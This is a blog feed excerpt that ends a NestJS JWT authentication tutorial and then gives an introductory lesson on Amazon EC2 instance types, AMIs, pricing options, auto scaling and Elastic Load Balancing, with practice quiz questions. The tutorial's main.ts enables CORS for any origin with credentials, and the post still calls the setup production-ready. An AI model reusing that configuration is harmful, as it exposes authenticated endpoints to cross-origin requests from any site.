<span class="hljs-keyword">import</span> { JwtStrategy } <span class="hljs-keyword">from</span> <span class="hljs-string">'./strategy/jwt.strategy'</span>;
<span class="hljs-keyword">import</span> { JwtRefreshStrategy } <span class="hljs-keyword">from</span> <span class="hljs-string">'./strategy/jwt-refresh.strategy'</span>;

<span class="hljs-meta">@Module</span>({
  imports: [
    PassportModule,
    JwtModule.register({}),
    PrismaModule,
  ],
  providers: [AuthService, JwtStrategy, JwtRefreshStrategy],
  controllers: [AuthController],
  <span class="hljs-built_in">exports</span>: [AuthService],
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> AuthModule {}
</code></pre>
<hr />
<h2 id="heading-12-global-setup-maints">12. Global setup (<code>main.ts</code>)</h2>
<p><code>src/main.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { ValidationPipe } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">import</span> { NestFactory } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/core'</span>;
<span class="hljs-keyword">import</span> { AppModule } <span class="hljs-keyword">from</span> <span class="hljs-string">'./app.module'</span>;

<span class="hljs-keyword">async</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">bootstrap</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">const</span> app = <span class="hljs-keyword">await</span> NestFactory.create(AppModule);
  app.useGlobalPipes(<span class="hljs-keyword">new</span> ValidationPipe({ whitelist: <span class="hljs-literal">true</span>, transform: <span class="hljs-literal">true</span> }));
  app.enableCors({ origin: <span class="hljs-literal">true</span>, credentials: <span class="hljs-literal">true</span> });
  <span class="hljs-keyword">await</span> app.listen(process.env.PORT || <span class="hljs-number">3000</span>);
}
bootstrap();
</code></pre>
<hr />
<h2 id="heading-13-global-guard-registration">13. Global guard registration</h2>
<p><code>src/app.module.ts</code></p>
<pre><code class="lang-ts"><span class="hljs-keyword">import</span> { Module } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/common'</span>;
<span class="hljs-keyword">import</span> { APP_GUARD } <span class="hljs-keyword">from</span> <span class="hljs-string">'@nestjs/core'</span>;
<span class="hljs-keyword">import</span> { AuthModule } <span class="hljs-keyword">from</span> <span class="hljs-string">'./auth/auth.module'</span>;
<span class="hljs-keyword">import</span> { JwtAuthGuard } <span class="hljs-keyword">from</span> <span class="hljs-string">'./auth/guard/jwt-auth.guard'</span>;

<span class="hljs-meta">@Module</span>({
  imports: [AuthModule],
  providers: [
    {
      provide: APP_GUARD,
      useClass: JwtAuthGuard,
    },
  ],
})
<span class="hljs-keyword">export</span> <span class="hljs-keyword">class</span> AppModule {}
</code></pre>
<hr />
<h2 id="heading-14-run-amp-test">14. Run &amp; test</h2>
<pre><code class="lang-bash">npm run start:dev
</code></pre>
<div class="hn-table">
<table>
<thead>
<tr>
<td>Endpoint</td><td>Public</td><td>Body</td><td>Response</td></tr>
</thead>
<tbody>
<tr>
<td>POST /auth/register</td><td>✅</td><td>CreateAuthDto</td><td>{ id, email, … }</td></tr>
<tr>
<td>POST /auth/login</td><td>✅</td><td>LoginAuthDto</td><td>{ accessToken, refreshToken }</td></tr>
<tr>
<td>POST /auth/refresh</td><td>✅</td><td>{ refreshToken }</td><td>{ accessToken, refreshToken }</td></tr>
<tr>
<td>POST /auth/logout</td><td>❌</td><td>–</td><td>{ message }</td></tr>
</tbody>
</table>
</div><p>All other routes automatically require a valid bearer token.</p>
<hr />
<p>That’s the <strong>complete, production-ready</strong> JWT authentication system you can drop into any NestJS project.</p>
]]></content:encoded></item><item><title><![CDATA[Module 2: Compute in the Cloud]]></title><description><![CDATA[Introduction to Amazon EC2
Compute refers to the processing power needed to run applications, manage data, and perform calculations. In the cloud, this power is available on-demand. You can access it remotely without owning or maintaining physical ha...]]></description><link>https://article.kumarchaudhary.com.np/module-2-compute-in-the-cloud</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/module-2-compute-in-the-cloud</guid><category><![CDATA[Cloud Computing]]></category><category><![CDATA[Cloud]]></category><category><![CDATA[EC2 instance]]></category><category><![CDATA[Amazon Web Services]]></category><category><![CDATA[Computer Science]]></category><category><![CDATA[Load Balancing]]></category><category><![CDATA[autoscaling]]></category><category><![CDATA[Elastic Load Balancing]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Sun, 10 Aug 2025 09:42:31 GMT</pubDate><content:encoded><![CDATA[<h1 id="heading-introduction-to-amazon-ec2"><strong>Introduction to Amazon EC2</strong></h1>
<p>Compute refers to the processing power needed to run applications, manage data, and perform calculations. In the cloud, this power is available on-demand. You can access it remotely without owning or maintaining physical hardware. Essentially, <em>compute in the cloud</em> means creating virtual machines with a cloud provider to run applications and tasks over the internet. In the following lessons, you will gain a thorough understanding of Amazon Elastic Compute Cloud (Amazon EC2), a powerful compute service from AWS, as you explore its flexibility, cost-effectiveness, and scalability.</p>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Describe how compute resources are provisioned and managed in the cloud.</p>
</li>
<li><p>Compare the benefits and challenges of using virtual servers to managing physical servers on premises.</p>
</li>
<li><p>Identify the concept of multi-tenancy in Amazon EC2.</p>
</li>
</ul>
<p>In this lesson, you will get an overview of Amazon EC2. You will learn about provisioning and managing virtual servers to host your applications and business resources.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754808212041/5bd15b85-6c0c-4dc6-bcb0-ddcd02efd40c.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-amazon-ec2"><strong>Amazon EC2</strong></h2>
<p>Amazon EC2 is more flexible, cost-effective, and faster than managing on-premises servers. It offers on-demand compute capacity that can be quickly launched, scaled, and terminated, with costs based only on active usage.</p>
<p>The flexibility of Amazon EC2 allows for faster development and deployment of applications. You can launch as many or as few virtual servers as needed and configure security, networking, and storage. You can also scale resources up or down based on usage, such as handling high traffic or compute-heavy tasks.</p>
<h2 id="heading-key-takeaways-comparing-on-premises-and-cloud-resources"><strong>Key takeaways: Comparing on-premises and cloud resources</strong></h2>
<p>When designing infrastructure for your business, selecting the right resources can significantly affect your efficiency, flexibility, and overall costs. Review the key differences between on-premises and cloud resource management.</p>
<h3 id="heading-challenges-of-on-premises-resources"><strong><em>Challenges of on-premises resources</em></strong></h3>
<p>Imagine that you're responsible for designing your company's infrastructure to support new websites. With traditional on-premises resources, you must purchase hardware upfront, wait for delivery, and handle installation and configuration. This process is time-consuming, costly, and inflexible because you're locked into a specific capacity that might not align with changing demands.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754808367697/68f42c44-430b-4ed4-bf17-97596fe3700a.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-benefits-of-using-cloud-resources"><strong><em>Benefits of using Cloud Resources</em></strong></h3>
<p>In contrast, with Amazon EC2, you can quickly launch, scale, and stop instances based on your needs without the delays and upfront costs associated with traditional on-premises resources.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754808386563/f96e0f11-9533-480a-9e31-eb1d3c436bb2.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-how-amazon-ec2-works"><strong>How Amazon EC2 works</strong></h2>
<p>You’ve learned that AWS manages complex infrastructure, offering on-demand compute capacity that’s available whenever you need it. You can request EC2 instances and have them ready to use within minutes. But how do you actually get started?</p>
<p><strong>Step 1:- Launch an instance</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754808432402/7ef68ab7-9883-4ea6-9be1-250892abd82a.png" alt class="image--center mx-auto" /></p>
<h4 id="heading-when-launching-an-ec2-instance-you-start-by-selecting-an-amazon-machine-image-ami-which-defines-the-operating-system-and-might-include-additional-software-you-also-choose-an-instance-type-which-determines-the-underlying-hardware-resources-such-as-cpu-memory-and-network-performance">When launching an EC2 instance, you start by selecting an Amazon Machine Image (AMI), which defines the operating system and might include additional software. You also choose an instance type, which determines the underlying hardware resources, such as CPU, memory, and network performance.</h4>
<p><strong>Step 2:- Connect to the instance</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754808477146/73d917fe-49ce-4045-8560-2028daedaee1.png" alt class="image--center mx-auto" /></p>
<p>You can connect to an EC2 instance in various ways. Applications can interact with services running on the instance over the network.</p>
<p>Users or administrators can connect using SSH for Linux instances or Remote Desktop Protocol (RDP) for Windows instances. Alternatively, AWS services like AWS Systems Manager offer a secure and simplified method for accessing instances.</p>
<p><strong>Step 3:- Use the instance</strong></p>
<p>After you are connected to the instance, you can begin using it to run commands, install software, add storage, organize files, and perform other tasks.</p>
<p><strong>Test your skills</strong></p>
<p>How does Amazon EC2 compare to running servers on premises?</p>
<ul>
<li><p>It is more expensive but offers more control.</p>
</li>
<li><p>It is more flexible, cost-effective, and quicker to get started.</p>
</li>
<li><p>It requires more time to set up and maintain.</p>
</li>
<li><p>It is only useful for large businesses.</p>
</li>
</ul>
<h1 id="heading-compute-in-cloud"><strong>COMPUTE IN CLOUD</strong></h1>
<h2 id="heading-amazon-ec2-instance-types"><strong>Amazon EC2 Instance Types</strong></h2>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Explain the different EC2 instance types and their characteristics.</p>
</li>
<li><p>Identify appropriate use cases for each EC2 instance type.</p>
</li>
</ul>
<p>Amazon EC2 offers a broad range of instance types, each tailored to meet specific use case requirements. These instances come with varying combinations of CPU, memory, storage, and networking capabilities, so you can choose the right mix of resources to optimize performance for your applications.</p>
<h2 id="heading-key-takeaways-ec2-instance-types"><strong>Key takeaways: EC2 instance types</strong></h2>
<p>Whether you're running a simple web service or complex data processing tasks, Amazon EC2 provides the flexibility to select the ideal instance type for your needs.</p>
<p>To review EC2 instance types, read each of the five numbered markers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754809088561/edb54e78-84b7-4a9c-a5ef-3653a48fb966.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-general-purpose"><strong>General purpose</strong></h2>
<p>General purpose instances provide a balanced mix of compute, memory, and networking resources. They are ideal for diverse workloads, like web services, code repositories, and when workload performance is uncertain.</p>
<h2 id="heading-compute-optimized"><strong>Compute optimized</strong></h2>
<p>Compute optimized instances are ideal for compute-intensive tasks, such as gaming servers, high performance computing (HPC), machine learning, and scientific modeling.</p>
<h2 id="heading-memory-optimized"><strong>Memory optimized</strong></h2>
<p>Memory optimized instances are used for memory-intensive tasks like processing large datasets, data analytics, and databases. They provide fast performance for memory-heavy workloads.</p>
<h2 id="heading-accelerated-computing"><strong>Accelerated computing</strong></h2>
<p>Accelerated computing instances use hardware accelerators, like graphics processing units (GPUs), to efficiently handle tasks, such as floating-point calculations, graphics processing, and machine learning.</p>
<h2 id="heading-storage-optimized"><strong>Storage optimized</strong></h2>
<p>Storage optimized instances are designed for workloads that require high performance for locally stored data, such as large databases, data warehousing, and I/O-intensive applications.</p>
<h1 id="heading-test-your-skills"><strong>Test your skills</strong></h1>
<ol>
<li><p>A financial institution is running a real-time analytics application that processes large datasets stored across multiple servers to provide quick query results. The application requires fast processing of data with a focus on handling large volumes of information efficiently.</p>
<p> Which Amazon EC2 instance type would be the BEST choice for this task?</p>
<ul>
<li><p>General purpose</p>
</li>
<li><p>Compute optimized</p>
</li>
<li><p>Storage optimized</p>
</li>
<li><p>Memory optimized</p>
</li>
</ul>
</li>
<li><p>A retail company is setting up a solution to analyze historical sales data that is stored locally. The solution requires fast access to large datasets with consistent, high disk throughput for quick data retrieval.</p>
<p> Which Amazon EC2 instance type would be the MOST suitable for this use case?</p>
<ul>
<li><p>General purpose</p>
</li>
<li><p>Compute optimized</p>
</li>
<li><p>Accelerated computing</p>
</li>
<li><p>Storage optimized</p>
</li>
</ul>
</li>
</ol>
<h1 id="heading-demo-launching-an-amazon-ec2-instance"><strong>Demo: Launching an Amazon EC2 Instance</strong></h1>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Identify the key configurations needed when setting up an EC2 instance.­­</p>
</li>
<li><p>Explain how an AMI maintains consistency and efficiency when scaling applications.</p>
</li>
</ul>
<h2 id="heading-amazon-ec2-demonstration"><strong>Amazon EC2 demonstration</strong></h2>
<p>If you're eager to understand how Amazon EC2 works, this is your chance to see it in action! In this demo, you learn about the basic steps of launching an EC2 instance. By the end of this demo, you will have a fully functional EC2 instance.</p>
<h2 id="heading-amazon-machine-images"><strong>Amazon Machine Images</strong></h2>
<p>In the demo, you got a quick introduction to AMIs. AMIs are pre-built virtual machine images that have the basic components for what is needed to start an instance. Now, let's explore AMIs in more detail.</p>
<ul>
<li><h3 id="heading-ami-components"><strong><em>AMI components</em></strong></h3>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754810427432/477a5b65-d73c-4e3f-8f27-37980fe501fe.png" alt class="image--center mx-auto" /></p>
<p>  An AMI includes the operating system, storage setup, architecture type, permissions for launching, and any extra software that is already installed. You can use one AMI to launch several EC2 instances that all have the same setup.</p>
</li>
<li><h3 id="heading-three-ways-to-use-amis"><strong><em>Three ways to use AMIs</em></strong></h3>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754810435073/8bf50808-3e4e-4df0-b858-b9b18088bab4.png" alt class="image--center mx-auto" /></p>
<p>  AMIs can be used in three ways. First, you can create your own by building a custom AMI with specific configurations and software tailored to your needs. Second, you can use pre-configured AWS AMIs, which are set up for common operating systems and software. Lastly, you can purchase AMIs from the AWS Marketplace, where third-party vendors offer specialized software designed for specific use cases.</p>
</li>
<li><h3 id="heading-ami-repeatability"><strong><em>AMI repeatability</em></strong></h3>
<p>  <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754810439217/3a7a6632-9991-4c02-a652-dd63a183b4e9.png" alt class="image--center mx-auto" /></p>
<p>  AMIs provide repeatability through a consistent environment for every new instance. Because configurations are identical and deployments automated, development and testing environments are consistent. This helps when scaling, reduces errors, and streamlines managing large-scale environments.</p>
</li>
</ul>
<h1 id="heading-test-your-skills-1"><strong>Test your skills</strong></h1>
<ol>
<li><p>What are the required configurations when launching an Amazon EC2 instance for a web server? (Select THREE.)</p>
<ul>
<li><p>Amazon Machine Image (AMI)</p>
</li>
<li><p>Load balancing</p>
</li>
<li><p>Instance type</p>
</li>
<li><p>Permissions</p>
</li>
<li><p>Storage</p>
</li>
<li><p>Instance termination behavior</p>
</li>
</ul>
</li>
</ol>
<ol start="2">
<li><p>What is an Amazon Machine Image (AMI) used for when launching an Amazon EC2 instance?</p>
<ul>
<li><p>To choose the instance size</p>
</li>
<li><p>To configure networking settings</p>
</li>
<li><p>To pre-configure the operating system and software</p>
</li>
<li><p>To store instance data</p>
</li>
</ul>
</li>
</ol>
<h1 id="heading-amazon-ec2-pricing"><strong>Amazon EC2 Pricing</strong></h1>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Explain the available Amazon EC2 pricing options.</p>
</li>
<li><p>Describe when to use each pricing option based on specific use cases.</p>
</li>
<li><p>Describe Amazon EC2 Capacity Reservations and Reserved Instance (RI) flexibility.</p>
</li>
</ul>
<p>In this lesson, you will learn about the pricing options for Amazon EC2. This information will help you find the most cost-effective solution for your workloads—whether you're just getting started or aiming to maximize savings on long-term usage.</p>
<h2 id="heading-key-takeaways-aws-pricing-options"><strong>Key takeaways: AWS pricing options</strong></h2>
<p>By understanding the different Amazon EC2 pricing options, you can make more informed decisions and optimize your costs based on your specific usage needs. To review the AWS pricing options, Observe each of the following flashcards.</p>
<p><strong>On-Demand Instances:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754811176334/f7898206-6eeb-4b98-b34a-9c3b06503bc6.png" alt class="image--center mx-auto" /></p>
<p>Pay only for the compute capacity you consume with no upfront payments or long-term commitments required.</p>
<p><strong>Reserved Instances:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754811194963/84e46c7f-8e37-4471-b945-dc7fbbbd352d.png" alt class="image--center mx-auto" /></p>
<p>Get a savings of up to 75 percent by committing to a 1-year or 3-year term for predictable workloads using specific instance families and AWS Regions.</p>
<p><strong>Spot Instances:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754811211127/60e671aa-258f-4512-985e-1217fb149534.png" alt class="image--center mx-auto" /></p>
<p>Bid on spare compute capacity at up to 90 percent off the On-Demand price, with the flexibility to be interrupted when AWS reclaims the instance.</p>
<p><strong>Savings Plans:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754811223652/408c6302-b6d2-41f3-8328-b4ce5f038f02.png" alt class="image--center mx-auto" /></p>
<p>Save up to 72 percent across a variety of instance types and services by committing to a consistent usage level for 1 or 3 years.</p>
<p><strong>Dedicated Hosts:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754811231532/638c7bd8-da52-4268-bf38-426443059581.png" alt class="image--center mx-auto" /></p>
<p>Reserve an entire physical server for your exclusive use. This option offers full control and is ideal for workloads with strict security or licensing needs.</p>
<p><strong>Dedicated Instances:</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754811244578/77b2293d-6f70-4224-aeba-b4748eaa0812.png" alt class="image--center mx-auto" /></p>
<p>Pay for instances running on hardware dedicated solely to your account. This option provides isolation from other AWS customers.</p>
<h2 id="heading-dedicated-instances"><strong>Dedicated Instances</strong></h2>
<p>Dedicated Hosts provide exclusive use of physical servers, offering full control over instance placement and resource allocation. This makes them ideal for security- or compliance-driven workloads. But what if you don’t need that level of control?</p>
<p>You could use Dedicated Instances, which offer physical isolation from other AWS accounts while still benefiting from the flexibility and cost savings of shared infrastructure.</p>
<p>The key difference is that Dedicated Instances provide isolation without you choosing which physical server they run on. Dedicated Hosts give you an entire physical server for exclusive use, providing complete control over instance placement and resource allocation.</p>
<p>Ultimately, the right choice depends on your specific workload requirements and the level of control you need over your infrastructure.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754811283285/16f7af8e-830a-4cc6-9a43-6a3a66b4e5af.png" alt class="image--center mx-auto" /></p>
<p>Dedicated Hosts offer exclusive use of a server with full control, whereas Dedicated Instances provide isolation without server control.</p>
<h2 id="heading-more-about-cost-optimization"><strong>More about cost optimization</strong></h2>
<p>To optimize costs and resource allocation, AWS offers a range of pricing options including Savings Plans, Amazon EC2 Capacity Reservations, and Reserved Instances (RIs). Each of these is tailored to meet different workload and capacity needs.</p>
<h2 id="heading-savings-plans"><strong>Savings Plans</strong></h2>
<p><strong>Good for</strong>: Predictable workloads</p>
<p>Savings Plans offer discounts compared to On-Demand rates in exchange for a commitment to use a specified amount of compute power (measured per hour) over a one-year or three-year period. They provide flexible pricing for Amazon EC2, AWS Fargate, AWS Lambda, and Amazon SageMaker AI usage, regardless of instance type or AWS Region. Payment options include All upfront, Partial upfront, or No upfront.</p>
<h2 id="heading-capacity-reservations"><strong>Capacity Reservations</strong></h2>
<p><strong>Good for</strong>: Critical workloads with strict capacity requirements</p>
<p>With Amazon EC2 Capacity Reservations, you reserve compute capacity in a specific Availability Zone for critical workloads. Reservations are charged at the On-Demand rate, whether used or not. You only pay for the instances you run. This is ideal for strict capacity requirements for current or future business-critical workloads.</p>
<h2 id="heading-reserved-instance-flexibility"><strong>Reserved Instance flexibility</strong></h2>
<p><strong>Good for</strong>: Steady-state workloads with predictable usage</p>
<p>RIs offer up to 75 percent savings over On-Demand pricing by applying discounts across instance sizes and multiple Availability Zones within a Region. When you purchase a Reserved Instance (RI), AWS automatically applies the discount to other instance sizes within the same family based on the instance size footprint. It also applies the discount across multiple Availability Zones for enhanced resource distribution and fault tolerance.</p>
<h1 id="heading-test-your-skills-2"><strong>Test your skills</strong></h1>
<ol>
<li><p>A financial services company needs to run sensitive applications that handle confidential customer data and require compliance with industry regulations. They need complete control over the physical server, including instance placement and resource allocation.</p>
<p> Which pricing option should they choose?</p>
<ul>
<li><p>Dedicated Hosts</p>
</li>
<li><p>Savings Plans</p>
</li>
<li><p>On Demand</p>
</li>
<li><p>Spot Instances</p>
</li>
</ul>
</li>
<li><p>A startup is running a batch processing workload that can tolerate occasional interruptions, and they want to reduce costs by taking advantage of unused Amazon EC2 capacity.</p>
<p> Which pricing option would offer them the most savings?</p>
<ul>
<li><p>Reserved Instances</p>
</li>
<li><p>Savings Plans</p>
</li>
<li><p>On Demand</p>
</li>
<li><p>Spot Instances</p>
</li>
</ul>
</li>
<li><p>A customer is building a new application and is unsure of their usage patterns but expects to grow and stabilize usage over time. They want to start without a long-term commitment.</p>
<p> Which pricing option should they use?</p>
<ul>
<li><p>Reserved Instances</p>
</li>
<li><p>Savings Plans</p>
</li>
<li><p>On Demand</p>
</li>
<li><p>Spot Instances</p>
</li>
</ul>
</li>
</ol>
<h1 id="heading-auto-scaling-and-load-balancing">AUTO SCALING AND LOAD BALANCING</h1>
<h2 id="heading-scaling-amazon-ec2"><strong>Scaling Amazon EC2</strong></h2>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Recognize the concepts of scalability and elasticity as they apply to AWS.</p>
</li>
<li><p>Describe how AWS can help businesses adjust compute capacity based on varying demands.</p>
</li>
</ul>
<p>If you've ever tried to access a website that wouldn't load and kept timing out, it might have been overwhelmed by more requests than it could handle. In this lesson, you will explore how scalability helps you manage fluctuating demand by adjusting compute capacity.</p>
<h2 id="heading-key-takeaways"><strong>Key takeaways</strong></h2>
<p>Scalability is about a system’s potential to grow over time, whereas elasticity is about the dynamic, on-demand adjustment of resources.</p>
<h3 id="heading-scalability"><strong><em>Scalability</em></strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754812609193/19ee13dd-001a-4dfb-823a-10ce93699038.png" alt class="image--center mx-auto" /></p>
<p>Scalability refers to the ability of a system to handle an increased load by adding resources. You can scale up by adding more power to existing machines, or you can scale out by adding more machines. Scalability focuses on long-term capacity planning to make sure that the system can grow and accommodate more users or workloads as needed.</p>
<h3 id="heading-elasticity"><strong><em>Elasticity</em></strong></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754812617868/d13a12a7-2b84-4fb2-9a4b-ad03b3955f9c.jpeg" alt class="image--center mx-auto" /></p>
<p>Elasticity is the ability to automatically scale resources up or down in response to real-time demand. A system can then rapidly adjust its resources, scaling out during periods of high demand and scaling in when the demand decreases. Elasticity provides cost efficiency and optimal resource usage at any given moment.</p>
<h2 id="heading-amazon-ec2-auto-scaling"><strong>Amazon EC2 Auto Scaling</strong></h2>
<p>Amazon EC2 Auto Scaling automatically adjusts the number of EC2 instances based on changes in application demand, providing better availability. It offers two approaches. <em>Dynamic scaling</em> adjusts in real time to fluctuations in demand. <em>Predictive scaling</em> preemptively schedules the right number of instances based on anticipated demand.</p>
<h3 id="heading-example-amazon-ec2-auto-scaling"><strong>Example: Amazon EC2 Auto Scaling</strong></h3>
<p>With EC2 Auto Scaling, you maintain the desired amount of compute capacity for your application by dynamically adjusting the number of EC2 instances based on demand. You can create Auto Scaling groups, which are collections of EC2 instances that can scale in or out to meet your application’s needs.</p>
<p>An Auto Scaling group is configured with the following three key settings.</p>
<ol>
<li><h3 id="heading-minimum-capacity">MINIMUM CAPACITY</h3>
<p> The <em>minimum capacity</em> defines the least number of EC2 instances required to keep the application running. This makes sure that the system never scales below this threshold. It's the number of EC2 instances that launch immediately after you have created the Auto Scaling group. </p>
<p> In this example, the minimum capacity is four EC2 instances.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754813208127/e7afc9d1-98f9-4f9f-ba9b-87bae0f260c8.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>DESIRED CAPACITY</p>
<p> The <em>desired capacity</em> is the ideal number of instances needed to handle the current workload, which Auto Scaling aims to maintain. If you do not specify the desired number of EC2 instances in an Auto Scaling group, the desired capacity defaults to your minimum capacity.</p>
<p> In this example, the desired capacity is six EC2 instances.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754813190201/868431ea-ffdb-49c2-b13f-97e57f96a907.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>MAXIMUM CAPACITY</p>
<p> The <em>maximum capacity</em> sets an upper limit on the number of instances that can be launched, preventing over-scaling and controlling costs. For example, you might configure the Auto Scaling group to scale out in response to increased demand.</p>
<p> In this example, a maximum of 12 EC2 instances can be launched. Amazon EC2 Auto Scaling will scale between the minimum and maximum number of instances.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754813175322/e31c8f61-b193-4c33-9de7-7ec9733f7ed2.png" alt class="image--center mx-auto" /></p>
<p> Because Amazon EC2 Auto Scaling uses EC2 instances, you pay for only the instances you use, when you use them. This gives you a cost-effective architecture that provides the best customer experience while reducing expenses.</p>
<h3 id="heading-test-your-skills-3">**Test your skills</h3>
<p> **</p>
<ol>
<li><p>What is the primary benefit of scalability and elasticity in AWS?</p>
<ul>
<li><p>The ability to manually adjust resources based on peak usage</p>
</li>
<li><p>The ability to grow and shrink resources dynamically based on real-time demand</p>
</li>
<li><p>The ability to create fixed resources that never change in size</p>
</li>
<li><p>The ability to permanently increase resource capacity for long-term growth</p>
</li>
</ul>
</li>
<li><p>What is the main reason for deploying Amazon EC2 instances across multiple Availability Zones?</p>
<ul>
<li><p>To increase the power and speed of each individual instance</p>
</li>
<li><p>To provide high availability by allowing instances in different Availability Zones to handle traffic if one Availability Zone fails</p>
</li>
<li><p>To decrease the cost of instances by distributing them evenly across AWS Regions</p>
</li>
<li><p>To automatically scale instances based on resource usage in each Availability Zone</p>
</li>
</ul>
</li>
<li><p>How does AWS make sure that a business can meet fluctuating demand without over-provisioning resources?</p>
<ul>
<li><p>By providing fixed resources that are always available</p>
</li>
<li><p>By allowing businesses to provision resources that automatically scale based on demand</p>
</li>
<li><p>By requiring businesses to purchase excess resources in advance to handle peak demand</p>
</li>
<li><p>By offering resources that are always running, regardless of demand</p>
</li>
</ul>
</li>
</ol>
</li>
</ol>
<h1 id="heading-directing-traffic-with-elastic-load-balancing"><strong>Directing Traffic with Elastic Load Balancing</strong></h1>
<p><strong>In this lesson, you will learn how to do the following:</strong></p>
<ul>
<li><p>Describe the challenge of traffic distribution and scalability in AWS environments.</p>
</li>
<li><p>Recognize the benefits of Elastic Load Balancing (ELB) in AWS.</p>
</li>
<li><p>Explain the relationship between Amazon EC2 Auto Scaling and ELB in managing AWS resources.</p>
</li>
</ul>
<p>Spreading workloads improves the performance of your applications by preventing any single resource from having to handle the full workload on its own. In this lesson, you will learn how ELB simplifies traffic distribution and management for AWS applications.</p>
<h2 id="heading-elastic-load-balancing"><strong>Elastic Load Balancing</strong></h2>
<p>Elastic Load Balancing (ELB) automatically distributes incoming application traffic across multiple resources, such as EC2 instances, to optimize performance and reliability. A load balancer serves as the single point of contact for all incoming web traffic to an Auto Scaling group. As the number of EC2 instances fluctuates in response to traffic demands, incoming requests are first directed to the load balancer. From there, the traffic is distributed evenly across the available instances.</p>
<p>Although ELB and Amazon EC2 Auto Scaling are distinct services, they work in tandem to enhance application performance and ensure high availability. Together, they enable applications running on Amazon EC2 to scale effectively while maintaining consistent performance.</p>
<h3 id="heading-key-takeaways-elb-benefits"><strong>Key takeaways: ELB benefits</strong></h3>
<p>Let's review the main benefits of elastic load balancing and how it enhances the performance, scalability, and management of your AWS environment. To learn more, choose each of the following flashcards.</p>
<ol>
<li><p><strong>Efficient traffic distribution:</strong></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814408632/1940add4-37b0-49e8-b677-61fead68df05.png" alt class="image--center mx-auto" /></p>
<p> ELB evenly distributes traffic across EC2 instances, preventing overload on any single instance and optimizing resource utilization.</p>
</li>
<li><p><strong>Automatic scaling:</strong></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814435849/8608ac5f-f695-456e-92ed-deadc7569f2b.png" alt class="image--center mx-auto" /></p>
<p> ELB scales with traffic and automatically adjusts to changes in demand for a seamless operation as backend instances are added or removed.</p>
</li>
<li><p><strong>Simplified management:</strong></p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814454100/c6a852b0-aedb-4b19-bdca-338376fa527c.png" alt class="image--center mx-auto" /></p>
<p> ELB decouples front-end and backend tiers and reduces manual synchronization. It also handles maintenance, updates, and failover to ease operational overhead.</p>
</li>
</ol>
<h3 id="heading-routing-methods"><strong>Routing methods</strong></h3>
<p>To optimize traffic distribution, ELB uses several routing methods: Round Robin, Least Connections, IP Hash, and Least Response Time. These routing strategies work together for efficient traffic management and optimal application performance.</p>
<p><strong>Round Robin</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814664694/8555d733-5b96-4bc1-b487-c5fe630dca8b.png" alt class="image--center mx-auto" /></p>
<p>Distributes traffic evenly across all available servers in a cyclic manner.</p>
<p><strong>Least Connections</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814674288/65fabe1c-63c9-46f3-80db-a051e08b69a0.png" alt class="image--center mx-auto" /></p>
<p>Routes traffic to the server with the fewest active connections, maintaining a balanced load.</p>
<p><strong>IP Hash</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814680382/26fc98a1-53fd-4de2-82d6-3166f19a726e.png" alt class="image--center mx-auto" /></p>
<p>Uses the client’s IP address to consistently route traffic to the same server</p>
<p><strong>Least Response Time</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754814683438/5cb862c8-1ed4-498d-8bff-9850dae2c812.png" alt class="image--center mx-auto" /></p>
<p>Directs traffic to the server with the fastest response time, minimizing latency.</p>
<h3 id="heading-example-elastic-load-balancing"><strong>Example: Elastic Load Balancing</strong></h3>
